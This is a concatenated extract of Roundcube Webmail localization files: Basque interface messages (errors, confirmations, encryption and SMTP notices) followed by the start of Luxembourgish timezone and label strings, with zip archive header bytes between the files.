$messages['blockedimages'] = 'Zure pribatutasuna babesteko urrutiko irudiak blokeatu egin dira.';
$messages['blockedresources'] = 'Zure pribatutasuna babesteko urrutiko baliabideak blokeatu egin dira.';
$messages['suspiciousemail'] = 'Mezu honek iruzurrak izan daitezkeen helbide elektroniko susmagarriak ditu.';
$messages['bccemail'] = 'Birbidalitako mezuek hartzaile konfidentzialak dituzte (Bcc).';
$messages['bouncehint'] = 'Mezua inolako aldaketarik gabe bidaliko da, hau da, jatorrizko gorputza, goiburuak eta hartzaileak erabiliz.';
$messages['encryptedmessage'] = 'Hau enkriptaturiko mezu bat da eta ezin da bistarazi. Barkatu!';
$messages['externalmessagedecryption'] = 'Hau zifratutako mezua da eta zure nabigatzaileko gehigarri batekin deszifratu daiteke.';
$messages['nopubkeyfor'] = 'Ez da baliozko gako publikorik aurkitu $email-(e)rako';
$messages['nopubkeyforsender'] = 'Ez da baliozko gako publikorik aurkitu zure bidalketa identitaterako. Mezua jasotzaileentzat bakarrik zifratzea nahi duzu?';
$messages['encryptnoattachments'] = 'Dagoeneko kargatutako eranskinak ezin dira zifratu. Gehitu itzazu berriro zifratze editorera.';
$messages['searchpubkeyservers'] = 'Falta diren gakoak gako publikoen zerbitzarietan bilatzea nahi duzu?';
$messages['encryptpubkeysfound'] = 'Hurrengo gako publikoak aurkitu dira:';
$messages['keyservererror'] = 'Huts egin du gakoa gako-zerbitzaritik eskuratzen.';
$messages['keyimportsuccess'] = '$key gako publikoa zure gako-sortan sartu da.';
$messages['nocontactsfound'] = 'Ez da kontakturik aurkitu.';
$messages['contactnotfound'] = 'Eskatutako kontaktua ez da aurkitu.';
$messages['contactsearchonly'] = 'Bilaketa inprimaki bat erabili behar duzu hautatutako helbide-liburutik kontaktuak ikusteko.';
$messages['sendingfailed'] = 'Ezin izan da mezua bidali.';
$messages['senttooquickly'] = 'Itxaron $sec segundo mezua bidali aurretik, mesedez.';
$messages['errorsavingsent'] = 'Errore bat gertatu da bidalitako mezua gordetzean.';
$messages['errorsaving'] = 'Errore bat gertatu da gordetzean.';
$messages['errormoving'] = 'Ezin d(ir)a mezua(k) mugitu.';
$messages['errorcopying'] = 'Ezin d(ir)a kopiatu mezua(k).';
$messages['errordeleting'] = 'Ezin da mezua ezabatu';
$messages['errormarking'] = 'Ezin d(ir)a markatu mezua(k).';
$messages['alerttitle'] = 'Kontuz';
$messages['confirmationtitle'] = 'Ziur zaude...';
$messages['deletecontactconfirm']  = 'Benetan hautaturiko kontaktuak ezabatu nahi dituzula?';
$messages['deletegroupconfirm']  = 'Seguru zaude hautatutako taldea ezabatu nahi duzula?';
$messages['deletemessagesconfirm'] = 'Benetan hautaturiko mezuak ezabatu nahi dituzula?';
$messages['deletefolderconfirm']  = 'Benetan Karpeta hau ezabatu nahi duzu?';
$messages['movefolderconfirm']  = 'Seguru zaude mugitu nahi duzula karpeta hori?';
$messages['purgefolderconfirm']  = 'Benetan karpeta honetako mezu guziak ezabatu nahi dituzu?';
$messages['contactdeleting'] = 'Kontaktua(k) ezabatzen...';
$messages['groupdeleting'] = 'Taldea ezabatzen...';
$messages['folderdeleting'] = 'Karpeta ezabatzen...';
$messages['foldermoving'] = 'Karpeta mugitzen...';
$messages['foldersubscribing'] = 'Karpeta harpidetzen...';
$messages['folderunsubscribing'] = 'Karpetaren harpidetza kentzen...';
$messages['formincomplete'] = 'Inprimakia ez guztiz bete';
$messages['noemailwarning'] = 'Idatzi baliozko helbide elektroniko bat';
$messages['nonamewarning']  = 'Mesedez izen bat idatzi';
$messages['nopagesizewarning'] = 'Mesedez paper tamaina idatzi';
$messages['nosenderwarning'] = 'Idatzi bidaltzailearen helbide elektronikoa';
$messages['recipientsadded'] = 'Hartzailea(k) gehitu d(ir)a.';
$messages['norecipientwarning'] = 'Sartu gutxienez hartzaile bat';
$messages['disclosedrecipwarning'] = 'Hartzaile guztiek ikusiko dute beste hartzaileen posta helbideak. Hori eragozteko eta haien pribatutasuna babesteko erabili dezakezu Bcc -ezkutuko kopia- eremua.';
$messages['disclosedreciptitle'] = 'Hartzaile publiko gehiegi';
$messages['nosubjectwarning']  = '"Gaia" eremua hutsik dago. Bat idatzi nahi al duzu?';
$messages['nosubjecttitle']  = 'Gairik ez';
$messages['nobodywarning'] = 'Testu gabeko mezu hau bidali?';
$messages['notsentwarning'] = 'Mezua ez da bidali eta gorde gabeko aldaketak ditu. Nahi duzu zure aldaketak baztertu?';
$messages['restoresavedcomposedata'] = 'Lehendik idatzitako baina bidali gabeko mezu bat aurkitu da.\n\nGaia:$subject\nGordeta:$date\n\nBerreskuratu nahi duzu mezu hau?';
$messages['nosearchname'] = 'Idatzi kontaktu izen bat edo helbide elektroniko bat';
$messages['notuploadedwarning'] = 'Oraindik ez dira kargatu eranskin guztiak. Itxaron edo ezeztatu karga.';
$messages['searchsuccessful'] = '$nr mezu aurkiturik';
$messages['contactsearchsuccessful'] = '$nr kontaktu aurkitu dira.';
$messages['searchnomatch'] = 'Bilaketak ez du emaitzarik itzuli';
$messages['searching'] = 'Bilatzen...';
$messages['checking'] = 'Arakatzen...';
$messages['stillsearching'] = 'Oraindik bilatzen...';
$messages['nospellerrors'] = 'Ez da ortografia errorerik aurkitu';
$messages['folderdeleted'] = 'Karpeta behar bezala ezabatu da';
$messages['foldersubscribed'] = 'Karpeta ongi harpidetu da.';
$messages['folderunsubscribed'] = 'Karpetaren harpidetza ongi kendu da.';
$messages['folderpurged'] = 'Karpeta behar bezala hustu da.';
$messages['folderexpunged'] = 'Karpeta behar bezala trinkotu da.';
$messages['deletedsuccessfully'] = 'Behar bezala ezabatu da';
$messages['converting'] = 'Mezuaren formatua ezabatzen';
$messages['messageopenerror'] = 'Ezin da zerbitzaritik mezua kargatu';
$messages['filelinkerror'] = 'Huts egin du fitxategia eransten.';
$messages['fileuploaderror'] = 'Huts fitxategia eransterakoan';
$messages['csvfilemismatch'] = 'Ez da onartzen eremu desberdinak dituzten CSV fitxategi anitzen inportazioa.';
$messages['filesizeerror'] = 'Erantsi nahi duzun fitxategian $size tamaina muga gainditzen du';
$messages['filecounterror'] = 'Gehienez jota $count fitxategi kargatu daitezke aldi berean.';
$messages['msgsizeerror'] = 'Huts egin du fitxategia eransten. Mezu baten gehienezko tamaina ($size) gainditu da.';
$messages['msgsizeerrorfwd'] = 'Mezuaren gehienezko tamaina  ($size) gainditu da. $num mezu ez dira erantsi.';
$messages['copysuccess'] = '$nr kontaktu ongi kopiatu dira.';
$messages['movesuccess'] = '$nr kontaktu ongi mugitu dira.';
$messages['copyerror'] = 'Ezin da kontakturik kopiatu.';
$messages['moveerror'] = 'Ezin da kontakturik mugitu.';
$messages['sourceisreadonly'] = 'Helbide iturburua irakurtzeko soilik da';
$messages['errorsavingcontact'] = 'Ezin da kontaktuaren helbidea gorde';
$messages['movingmessage'] = 'Mezua mugitzen...';
$messages['copyingmessage'] = 'Mezuak kopiatzen...';
$messages['copyingcontact'] = 'Kontaktua(k) kopiatzen...';
$messages['movingcontact'] = 'Kontaktua(k) mugitzen...';
$messages['deletingmessage'] = 'Mezua(k) ezabatzen...';
$messages['markingmessage'] = 'Mezua(k) markatzen...';
$messages['addingmember'] = 'Kontaktua(k) taldera gehitzen...';
$messages['removingmember'] = 'Kontaktua(k) taldetik ezabatzen...';
$messages['receiptsent'] = 'Ondo bidalia irakurritako agiria';
$messages['errorsendingreceipt'] = 'Ezin da agiria bidali';
$messages['deleteidentityconfirm'] = 'Seguru zaude identitate hau ezabatu nahi duzula?';
$messages['nodeletelastidentity'] = 'Ezin da izaera hau ezabatu, zure bakarra da';
$messages['forbiddencharacter'] = 'Karpeta izenak debekatutako karaktereak ditu';
$messages['selectimportfile'] = 'Hautatu kargatzeko fitxategia.';
$messages['addresswriterror'] = 'Hautatutako helbide-liburua ezin da editatu.';
$messages['contactaddedtogroup'] = 'Kontaktuak ongi gehitu dira taldera.';
$messages['contactremovedfromgroup'] = 'Kontaktuak ongi ezabatu dira taldetik.';
$messages['nogroupassignmentschanged'] = 'Talde-esleipena ez da aldatu.';
$messages['importwait'] = 'Inportatzen, itxaron mesedez...';
$messages['importformaterror'] = 'Huts egin du inportatzean. Kargatu duzun fitxategia ez da inportatzeko fitxategi baliozkoa.';
$messages['importconfirm'] = '<b>Ongi inportatu dira $inserted kontaktu</b>';
$messages['importconfirmskipped'] = '<b>Saltatu dira  $skipped sarrera</b>';
$messages['importmessagesuccess'] = '$nr mezu ongi inportatu dira.';
$messages['importmessageerror'] = 'Inportazio akatsa! Kargatutako fitxategia ez da baliozko mezua edo postontzi-fitxategia';
$messages['opnotpermitted'] = 'Ekintza ez baimendua!';
$messages['nofromaddress'] = 'Hautatutako identitatearen helbide elektronikoa falta da.';
$messages['editorwarning'] = 'Editore mota aldatzeak ekar dezake testuaren formatua galtzea. Jarraitu nahi duzu?';
$messages['httpreceivedencrypterror'] = 'Ezarpen akats larria gertatu da. Jarri harremanetan zure administratzailearekin ahalik eta lasterren.  <b>Zure mezua ezin da bidali.</b>';
$messages['smtpconnerror'] = 'SMTP errorea ($code): Zerbitzariarekiko konexioak huts egin du.';
$messages['smtpautherror'] = 'SMTP errorea ($code): Egiaztapenak huts egin du.';
$messages['smtpfromerror'] = 'SMTP errorea ($code):  "$from" ($msg) bidaltzailearen ezartzeak huts egin du.';
$messages['smtptoerror'] = 'SMTP errorea ($code):  "$to" ($msg) hartzailea  gehitzen huts egin du.';
$messages['smtprecipientserror'] = 'SMTP errorea: Ezin da hartzaileen zerrenda analizatu.';
$messages['smtputf8error'] = 'SMTP errorea: Zerbitzariak ez du Unicode onartzen posta-helbidean.';
$messages['smtpsizeerror'] = 'SMTP errorea: Mezuak zerbitzariak ezarritako muga ($limit) gainditu du.';
$messages['smtperror'] = 'SMTP errorea: $msg';
$messages['emailformaterror'] = 'Helbide elektroniko baliogabea: $email';
$messages['toomanyrecipients'] = 'Hartzaile gehiegi. Txikitu hartzaile kopura hona $max.';
$messages['maxgroupmembersreached'] = 'Taldeko partaideen kopurua $max -ko maximoa gainditzen du:';
$messages['internalerror'] = 'Barne akatsa. Saiatu berriz, mesedez.';
$messages['contactdelerror'] = 'Ezin d(ir)a kontaktua(k) ezabatu.';
$messages['contactdeleted'] = 'Kontaktua(k) ongi ezabatu dira.';
$messages['contactrestoreerror'] = 'Ezin d(ir)a ezabatutako kontaktua(k) leheneratu.';
$messages['contactrestored'] = 'Kontaktua(k) ongi leheneratu d(ir)a.';
$messages['groupdeleted'] = 'Taldea ongi ezabatu da.';
$messages['grouprenamed'] = 'Taldea ongi berrizendatu da.';
$messages['groupcreated'] = 'Taldea ongi sortu da.';
$messages['savedsearchdeleted'] = 'Bilaketaren gordetzea ongi ezabatu da.';
$messages['savedsearchdeleteerror'] = 'Ezin da ezabatu bilaketaren gordeketa.';
$messages['savedsearchcreated'] = 'Bilaketaren gordeketa ongi sortu da.';
$messages['savedsearchcreateerror'] = 'Ezin da sortu bilaketaren gordeketa.';
$messages['messagedeleted'] = 'Mezua(k) ongi ezabatu dira.';
$messages['messagemoved'] = 'Mezua(k) ongi mugitu d(ir)a.';
$messages['messagemovedtotrash'] = 'Mezua(k) ongi eraman d(ir)a zakarrontzira';
$messages['messagecopied'] = 'Mezua(k) ongi kopiatu d(ir)a';
$messages['messagemarked'] = 'Mezua(k) ongi markatu d(ir)a';
$messages['autocompletechars'] = 'Sartu gutxienez $min karaktere osatze automatikorako';
$messages['autocompletemore'] = 'Bat datozen sarrera gehiago topatu dira. Idatzi karaktere gehiago.';
$messages['namecannotbeempty'] = 'Izena ezin da hutsik egon.';
$messages['nametoolong'] = 'Izena luzeegia da.';
$messages['namedotforbidden'] = 'Karpeta izenak ezin dira puntu batekin hasi.';
$messages['folderupdated'] = 'Karpeta ongi eguneratu da.';
$messages['foldercreated'] = 'Karpeta ongi  sortu da.';
$messages['invalidimageformat'] = 'Irudi formatua ez da baliozkoa.';
$messages['mispellingsfound'] = 'Ortografia akatsak detektatu dira mezuan.';
$messages['parentnotwritable'] = 'Ezin da karpeta sortu/mugi hautatutako goragoko karpetan. Sartzeko baimenik ez.';
$messages['messagetoobig'] = 'Mezu-zatia handiegia da prozesatzeko.';
$messages['attachmentvalidationerror'] = 'Eranskina ez da fidagarria bere motak ez duelako bat egiten mezuan aitortzen duen motarekin. Ez baduzu konfiantza bidaltzailearekin ez zenuke ireki behar zeren eta kode maltzurra gorde dezake.<br/><br/><em>Iradokita: $expected; topatuta: $detected</em>';
$messages['noscriptwarning'] = 'Kontuz: web-posta zerbitzu honek Javascript behar du! Erabili nahi baduzu gaitu Javascript zure nabigatzailearen ezarpenetan.';
$messages['messageissent'] = 'Mezua bidali da baina oraindik ez da gorde. Nahi duzu orain gorde?';
$messages['errnotfound'] = 'Fitxategia ez da aurkitu';
$messages['errnotfoundexplain'] = 'Eskatutako baliabidea ez da aurkitu';
$messages['errfailedrequest'] = 'Eskaerak huts egin du';
$messages['errauthorizationfailed'] = 'Baimentzeak hust egin du';
$messages['errunauthorizedexplain'] = 'Ezin izan da egiaztatu zerbitzu hau erabiltzeko baimena duzula!';
$messages['errrequestcheckfailed'] = 'Eskaeraren egiaztapenak huts egin du';
$messages['errcsrfprotectionexplain'] = "Zu babestearren, baliabide honen sarbideak CSRF.\n motako erasoen kontrako babesa du. Mezu hau ikusten baduzu seguraski ez zara zerbitzutik atera web orria utzi aurretik.\n\nGiza ekintza bat behar da aurrera egiteko.";
$messages['errcontactserveradmin'] = 'Jar zaitez sistemako administratzailearekin harrementan.';
$messages['clicktoresumesession'] = 'Egin klik hemen zure aurreko saioarekin jarraitzeko';
$messages['errcomposesession'] = 'Idazketa sesioan errorea';
$messages['errcomposesessionexplain'] = 'Eskatutako idazketa sesioa ez da aurkitu.';
$messages['clicktocompose'] = 'Klik egin hemen mezu berri bat idazteko';
$messages['nosupporterror'] = 'Zure nabigatzaileak ez du eginbide hori onartzen.';
$messages['siginserted'] = 'Sinadura behar bezala txertatu da.';
$messages['responseinserted'] = 'Erantzuna behar bezala txertatu da.';
$messages['noresponsesavailable'] = 'Ez dago erantzunik';
$messages['listempty'] = 'Zerrenda hutsik dago.';
$messages['listusebutton'] = 'Erabili Sortu botoia erregistro berri bat gehitzeko.';
$messages['keypaircreatesuccess'] = 'Gako pare berria behar bezala sortu da $identity-(r)entzat.';
$messages['emptyattachment'] = 'Eranskin hau hutsik dagoela dirudi. Mesedez, egiaztatu bidali duenarekin.';
$messages['oauthloginfailed'] = 'OAuth saioa hasteak huts egin du. Saiatu berriro.';
PK
h�\
��33(program/localization/lb_LU/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:africa'] = 'Afrika';
PK
h�\�RXIXIX%program/localization/lb_LU/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Wëllkomm bei $product';
$labels['username'] = 'Benotzernumm';
$labels['password'] = 'Passwuert';
$labels['server'] = 'Server';
$labels['login'] = 'Aloggen';
$labels['logout'] = 'Ausloggen';
$labels['mail'] = 'Mailen';
$labels['settings'] = 'Astellungen';
$labels['addressbook'] = 'Adressbuch';
$labels['inbox'] = 'Mailbox';
$labels['drafts'] = 'Brouillonen';
$labels['sent'] = 'Verschéckt';
$labels['trash'] = 'Poubelle';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Richteg Nimm vu de speziellen Dossieren uweisen';
$labels['subject'] = 'Sujet';
$labels['from'] = 'Vun';
$labels['sender'] = 'Geschéckt vun';
$labels['to'] = 'Un';
$labels['cc'] = 'CC';
$labels['bcc'] = 'BCC';
$labels['replyto'] = 'Äntwert un';
$labels['followupto'] = 'Noverfollgung un';
$labels['date'] = 'Datum';
$labels['size'] = 'Gréisst';
$labels['priority'] = 'Prioritéit';
$labels['organization'] = 'Organisatioun';
$labels['readstatus'] = 'Lies-Status';
$labels['listoptions'] = 'Optiounen oplëschten';
$labels['mailboxlist'] = 'Dossieren';
$labels['messagesfromto'] = 'Messagen $from bis $to vun $count';
$labels['threadsfromto'] = 'Diskussiounen $from bis $to vun $count';
$labels['messagenrof'] = 'Message $nr vun $count';
$labels['fromtoshort'] = '$from bis $to vun $count';
$labels['copy'] = 'Kopéieren';
$labels['move'] = 'Réckelen';
$labels['moveto'] = 'Réckelen an...';
$labels['copyto'] = 'Kopéieren op...';
$labels['download'] = 'Eroflueden';
$labels['open'] = 'Opmaachen';
$labels['showattachment'] = 'Weisen';
$labels['showanyway'] = 'Trotzdeem weisen';
$labels['filename'] = 'Numm vum Fichier';
$labels['filesize'] = 'Gréisst vum Fichier';
$labels['addtoaddressbook'] = 'An d\'Adressbuch setzen';
$labels['sun'] = 'Son';
$labels['mon'] = 'Méi';
$labels['tue'] = 'Dën';
$labels['wed'] = 'Mët';
$labels['thu'] = 'Don';
$labels['fri'] = 'Fre';
$labels['sat'] = 'Sam';
$labels['sunday'] = 'Sonndeg';
$labels['monday'] = 'Méindeg';
$labels['tuesday'] = 'Dënschdeg';
$labels['wednesday'] = 'Mëttwoch';
$labels['thursday'] = 'Donneschdeg';
$labels['friday'] = 'Freideg';
$labels['saturday'] = 'Samschdeg';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mäe';
$labels['apr'] = 'Abr';
$labels['may'] = 'Mee';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dez';
$labels['longjan'] = 'Januar';
$labels['longfeb'] = 'Februar';
$labels['longmar'] = 'Mäerz';
$labels['longapr'] = 'Abrëll';
$labels['longmay'] = 'Mee';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Dezember';
$labels['today'] = 'Haut';
$labels['refresh'] = 'Nei lueden';
$labels['checkmail'] = 'Nei Messagen ofruffen';
$labels['compose'] = 'Schreiwen';
$labels['writenewmessage'] = 'Neie Message schreiwen';
$labels['reply'] = 'Äntweren';
$labels['replytomessage'] = 'Dem Ofsender äntweren';
$labels['replytoallmessage'] = 'Dem Ofsender an allen Empfänger äntweren';
$labels['replyall'] = 'U jiddwereen äntweren';
$labels['replylist'] = 'Äntwert-Lëscht';
$labels['forward'] = 'Weiderleeden';
$labels['forwardinline'] = 'Am Message weiderleeden';
$labels['forwardattachment'] = 'Als Unhank weiderleeden';
$labels['forwardmessage'] = 'De Message weiderleeden';
$labels['deletemessage'] = 'Message läschen';
$labels['movemessagetotrash'] = 'Message an d\'Poubelle réckelen';
$labels['printmessage'] = 'Dëse Message drécken';
$labels['previousmessage'] = 'Message virdru weisen';
$labels['firstmessage'] = 'Éischte Message weisen';
$labels['nextmessage'] = 'Nächste Message weisen';
$labels['lastmessage'] = 'Leschte Message weisen';
$labels['backtolist'] = 'Zréck bei d\'Lëscht vun de Messagen';
$labels['viewsource'] = 'Source weisen';
$labels['mark'] = 'Markéieren';
$labels['markmessages'] = 'Messagë markéieren';
$labels['markread'] = 'Als gelies';
$labels['markunread'] = 'Als ongelies';
$labels['markflagged'] = 'Mat Fändel';
$labels['markunflagged'] = 'Ouni Fändel';
$labels['moreactions'] = 'Mei Aktiounen...';
$labels['folders-all'] = 'All d\'Dossieren';
$labels['more'] = 'Méi';
$labels['back'] = 'Zréck';
$labels['options'] = 'Optiounen';
$labels['first'] = 'Éischt';
$labels['last'] = 'Lescht';
$labels['previous'] = 'Viregt';
$labels['next'] = 'Nächst';
$labels['select'] = 'Auswielen';
$labels['all'] = 'All';
$labels['none'] = 'Keng';
$labels['currpage'] = 'Aktuell Säit';
$labels['isread'] = 'Gelies';
$labels['unread'] = 'Ongelies';
$labels['flagged'] = 'Mat Fändel';
$labels['unflagged'] = 'Net markéiert';
$labels['unanswered'] = 'Net beäntwert';
$labels['withattachment'] = 'Mat Unhank';
$labels['deleted'] = 'Geläscht';
$labels['undeleted'] = 'Net geläscht';
$labels['replied'] = 'Beäntwert';
$labels['forwarded'] = 'Weidergeleet';
$labels['invert'] = 'Ëmdréinen';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lëscht';
$labels['threads'] = 'Diskussiounen';
$labels['expand-all'] = 'All opfächeren';
$labels['expand-unread'] = 'Ongelies opfächeren';
$labels['collapse-all'] = 'All zesummefächeren';
$labels['threaded'] = 'Diskussiounen zesummefaassen';
$labels['autoexpand_threads'] = 'Diskussiounen auserneefächeren';
$labels['do_expand'] = 'All d\'Diskussiounen';
$labels['expand_only_unread'] = 'just ongeliese Messagen';
$labels['fromto'] = 'Vun/Un';
$labels['flag'] = 'Fändel';
$labels['attachment'] = 'Unhank';
$labels['nonesort'] = 'Keng';
$labels['sentdate'] = 'Verschéckt';
$labels['arrival'] = 'Ukomm';
$labels['asc'] = 'opsteigend';
$labels['desc'] = 'ofsteigend';
$labels['listcolumns'] = 'Kolonnen oplëschten';
$labels['listsorting'] = 'Kolonne sortéieren';
$labels['listorder'] = 'Sortéier-Reiefolleg';
$labels['listmode'] = 'Oplëschtungs-Modus';
$labels['layoutlist'] = 'Lëscht';
$labels['folderactions'] = 'Dossiers-Aktiounen...';
$labels['compact'] = 'Kompaktéieren';
$labels['empty'] = 'Eidel maachen';
$labels['importmessages'] = 'Messagen importéieren';
$labels['quota'] = 'Plazverbrauch';
$labels['unknown'] = 'onbekannt';
$labels['unlimited'] = 'onlimitéiert';
$labels['quicksearch'] = 'Séier Sich';
$labels['resetsearch'] = 'Sich zerécksetzen';
$labels['searchmod'] = 'Sich-Parameter';
$labels['msgtext'] = 'Ganze Message';
$labels['body'] = 'Kierper';
$labels['type'] = 'Typ';
$labels['namex'] = 'Numm';
$labels['searchscope'] = 'Ëmfang';
$labels['currentfolder'] = 'Aktuellen Dossier';
$labels['subfolders'] = 'Dësen an d\'Ënnerdossieren';
$labels['allfolders'] = 'All d\'Dossieren';
$labels['openinextwin'] = 'An enger neier Fënster opmaachen';
$labels['emlsave'] = 'Eroflueden (.eml)';
$labels['changeformattext'] = 'Als Text ouni Formatéierungen uweisen';
$labels['changeformathtml'] = 'Als formatéierten Text uweisen';
$labels['editasnew'] = 'Als nei editéieren';
$labels['send'] = 'Schécken';
$labels['sendmessage'] = 'Message schécken';
$labels['savemessage'] = 'Als Brouillon späicheren';
$labels['addattachment'] = 'E Fichier drunhänken';
$labels['charset'] = 'Zeechesaz';
$labels['editortype'] = 'Editor-Typ';
$labels['returnreceipt'] = 'Empfanksbestätegung';
$labels['dsn'] = 'Empfanks-Status-Meldung';
$labels['mailreplyintro'] = 'Den $date, $sender schreift:';
$labels['originalmessage'] = 'Original-Message';
$labels['selectimage'] = 'Bild auswielen';
$labels['addimage'] = 'Bild dobäisetzen';
$labels['selectmedia'] = 'Film auswielen';
$labels['addmedia'] = 'Film dobäisetzen';
$labels['insert'] = 'Drasetze';
$labels['recipient'] = 'Empfänger';
$labels['editidents'] = 'Identitéiten editéieren';
$labels['spellcheck'] = 'Orthographie';
$labels['checkspelling'] = 'Orthographie kontrolléieren';
$labels['resumeediting'] = 'Weider editéieren';
$labels['revertto'] = 'Zréck bei';
$labels['restore'] = 'Erëmhirstellen';
$labels['restoremessage'] = 'Message erëmhirstellen';
$labels['responses'] = 'Äntwerten';
$labels['insertresponse'] = 'Äntwert afügen';
$labels['manageresponses'] = 'Äntwerte geréieren';
$labels['editresponse'] = 'Äntwert editéieren';
$labels['editresponses'] = 'Äntwerten Editéieren';
$labels['responsename'] = 'Numm';
$labels['responsetext'] = 'Äntwert-Text';
$labels['attach'] = 'Drunhänken';
$labels['attachments'] = 'Unhäng';
$labels['upload'] = 'Eroplueden';
$labels['close'] = 'Zoumaachen';
$labels['messageoptions'] = 'Message-Optiounen...';
$labels['low'] = 'Niddreg';
$labels['lowest'] = 'Am niddregsten';
$labels['normal'] = 'Normal';
$labels['high'] = 'Héich';
$labels['highest'] = 'Am héchsten';
$labels['nosubject'] = '(kee Sujet)';
$labels['showimages'] = 'Biller uweisen';
$labels['alwaysshow'] = 'Biller vun $sender ëmmer uweisen';
$labels['isdraft'] = 'Dëst ass e Brouillon.';
$labels['andnmore'] = '$nr more...';
$labels['togglemoreheaders'] = 'Méi Message-Headeren uweisen';
$labels['togglefullheaders'] = 'Réi Message-Headeren an-/ausblenden';
$labels['htmltoggle'] = 'Text mat Formatéierungen';
$labels['plaintoggle'] = 'Text ouni Formatéierungen';
$labels['savesentmessagein'] = 'Dee verschéckte Message späicheren an';
$labels['dontsave'] = 'net späicheren';
$labels['maxuploadsize'] = 'Déi maximal erlaabte Fichiers-Gréisst ass $size';
$labels['addcc'] = 'CC dobäisetzen';
$labels['addbcc'] = 'BCC dobäisetzen';
$labels['addreplyto'] = '"Äntwert un" dobäisetzen';
$labels['addfollowupto'] = '"Noverfollgung un" dobäisetzen';
$labels['mdnrequest'] = 'De Sender vun dësem Message huet gefrot fir informéiert ze gi wann de Message gelies gëtt. Wëlls du de Sender informéieren?';
$labels['receiptread'] = 'Empfanksbestätegung (gelies)';
$labels['yourmessage'] = 'Dëst ass eng Empfanksbestätegung fir Äre Message.';
$labels['receiptnote'] = 'Bemierkung: Dës Bestätegung bezeit just datt de Message beim Empfänger ugewise ginn ass. Et gëtt keng Garantie dass den Empfänger den Inhalt vum Message gelies oder verstanen huet.';
$labels['name'] = 'Ganzen Numm';
$labels['firstname'] = 'Virnumm';
$labels['surname'] = 'Nonumm';
$labels['middlename'] = 'Mëttelnumm';
$labels['nameprefix'] = 'Präfix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Spëtznumm';
$labels['jobtitle'] = 'Job-Titel';
$labels['department'] = 'Departement';
$labels['gender'] = 'Geschlecht';
$labels['maidenname'] = 'Meedechersnumm';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adress';
$labels['street'] = 'Strooss';
$labels['locality'] = 'Uertschaft';
$labels['zipcode'] = 'Postleitzuel';
$labels['region'] = 'Staat';
$labels['country'] = 'Land';
$labels['birthday'] = 'Gebuertsdatum';
$labels['anniversary'] = 'Anniversaire';
$labels['website'] = 'Websäit';
$labels['instantmessenger'] = 'Instant-Messenger';
$labels['notes'] = 'Notizen';
$labels['male'] = 'männlech';
$labels['female'] = 'weiblech';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Liewenspartner';
$labels['allfields'] = 'All d\'Felder';
$labels['search'] = 'Sichen';
$labels['advsearch'] = 'Avancéiert Sich';
$labels['advanced'] = 'Avancéiert';
$labels['other'] = 'Aneres';
$labels['typehome'] = 'Doheem';
$labels['typework'] = 'Aarbecht';
$labels['typeother'] = 'Aneres';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Haapt';
$labels['typehomefax'] = 'Fax Doheem';
$labels['typeworkfax'] = 'Fax Aarbecht';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Websäit';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Feld dobäisetzen...';
$labels['editcontact'] = 'Kontakt editéieren';
$labels['contacts'] = 'Kontakter';
$labels['contactproperties'] = 'Kontakt-Eegeschaften';
$labels['personalinfo'] = 'Perséinlech Informatioun';
$labels['edit'] = 'Änneren';
$labels['cancel'] = 'Ofbriechen';
$labels['save'] = 'Späicheren';
$labels['delete'] = 'Läschen';
$labels['rename'] = 'Ëmbenennen';
$labels['addphoto'] = 'Dobäisetzen';
$labels['replacephoto'] = 'Ersetzen';
$labels['uploadphoto'] = 'Foto eroplueden';
$labels['deletecontact'] = 'Déi ausgewielte Kontakter läschen';
$labels['composeto'] = 'Mail schreiwen un';
$labels['contactsfromto'] = 'Kontakter $from bis $to vun $count';
$labels['print'] = 'Drécke';
$labels['export'] = 'Exportéieren';
$labels['exportall'] = 'All exportéieren';
$labels['exportsel'] = 'Déi ausgewielten exportéieren';
$labels['exportvcards'] = 'Kontakter am vCard-Format exportéieren';
$labels['grouprename'] = 'Grupp ëmbenennen';
$labels['groupdelete'] = 'Grupp läschen';
$labels['groupremoveselected'] = 'Ausgewielte Kontakter aus Grupp eraushuele';
$labels['previouspage'] = 'Säit virdru weisen';
$labels['firstpage'] = 'Éischt Säit weisen';
$labels['nextpage'] = 'Nächst Säit weisen';
$labels['lastpage'] = 'Lescht Säit weisen';
$labels['group'] = 'Grup';
$labels['groups'] = 'Gruppen';
$labels['listgroup'] = 'Gruppe-Memberen oplëschten';
$labels['personaladrbook'] = 'Perséinlech Adressen';
$labels['searchsave'] = 'Sich späicheren';
$labels['searchdelete'] = 'Sich läschen';
$labels['import'] = 'Importéieren';
$labels['importcontacts'] = 'Kontakter importéieren';
$labels['importtarget'] = 'Kontakter dobäisetze bei';
